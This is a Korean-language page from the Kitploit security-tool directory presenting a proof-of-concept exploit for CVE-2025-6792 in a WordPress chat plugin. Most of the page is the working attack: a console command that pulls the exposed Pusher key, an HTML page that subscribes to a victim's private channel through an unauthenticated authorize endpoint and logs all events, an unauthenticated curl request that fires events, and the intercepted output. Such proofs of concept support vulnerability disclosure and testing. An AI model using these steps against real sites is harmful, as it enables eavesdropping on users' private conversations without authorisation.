Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-6792 — CVE-2025-6792에 대한 개념 증명 익스플로잇으로, 노출된 자격 증명과 인증되지 않은 API 엔드포인트를 통해 WordPress 플러그인에서 무단 Pusher 채널 구독 및 이벤트 도청을 시연합니다. | Kitploit
도구/GitHubGitHub/jfriedli/cve-2025-6792
ReconnaissanceExploitationWeb Application ExploitationAPI Security TestingInformation GatheringPenetration Testing
GitHubjfriedli/cve-2025-6792

CVE-2025-6792

CVE-2025-6792에 대한 개념 증명 익스플로잇으로, 노출된 자격 증명과 인증되지 않은 API 엔드포인트를 통해 WordPress 플러그인에서 무단 Pusher 채널 구독 및 이벤트 도청을 시연합니다.

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

익스플로잇: 권한 없는 Pusher 채널 구독 (도청)

1) Pusher 자격 증명 얻기 (브라우저 콘솔에서)

root@kitploit:~
console.log(
  window.wpguppy_scripts_vars.pusherKey,
  window.wpguppy_scripts_vars.pusherCluster
);

2) 피해자의 비공개 채널 구독

root@kitploit:~
<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <title>Pusher Eavesdrop Test</title>
  <script src="https://js.pusher.com/7.4/pusher.min.js"></script>
</head>
<body>
  <h1>Listening on private-user-5</h1>
  <pre id="log"></pre>

  <script>
    const log = msg => {
      const p = document.createElement('div');
      p.textContent = msg;
      document.getElementById('log').appendChild(p);
    };

    const pusher = new Pusher("PUSHER_KEY", {
      cluster: "PUSHER_CLUSTER",
      authEndpoint: "http://localhost/wordpress/wp-json/guppylite/v2/channel-authorize"
    });

    const channel = pusher.subscribe("private-user-5");

    channel.bind_global((event, data) => {
      log(`Event: ${event} → ${JSON.stringify(data)}`);
    });

    pusher.connection.bind('error', err => {
      log(`Pusher error: ${err.error ? err.error.data : err}`);
    });

    log("Waiting for events...");
  </script>
</body>
</html>

3) 이벤트 트리거 (인증되지 않음)

root@kitploit:~
curl -i -X POST "http://localhost/wordpress/?rest_route=/guppylite/v2/user-typing" \
  -H "Content-Type: application/json" \
  -d '{
    "chatId": "5_1",
    "chatType": 1,
    "text": "typing...",
    "userName": "Alice",
    "senderId": 5
  }'

4) 가로챈 데이터 확인

root@kitploit:~
Event: isTyping → {
  "chatId":"5_1",
  "chatType":1,
  "text":"typing...",
  "userName":"Alice",
  "senderId":5
}
도구 다운로드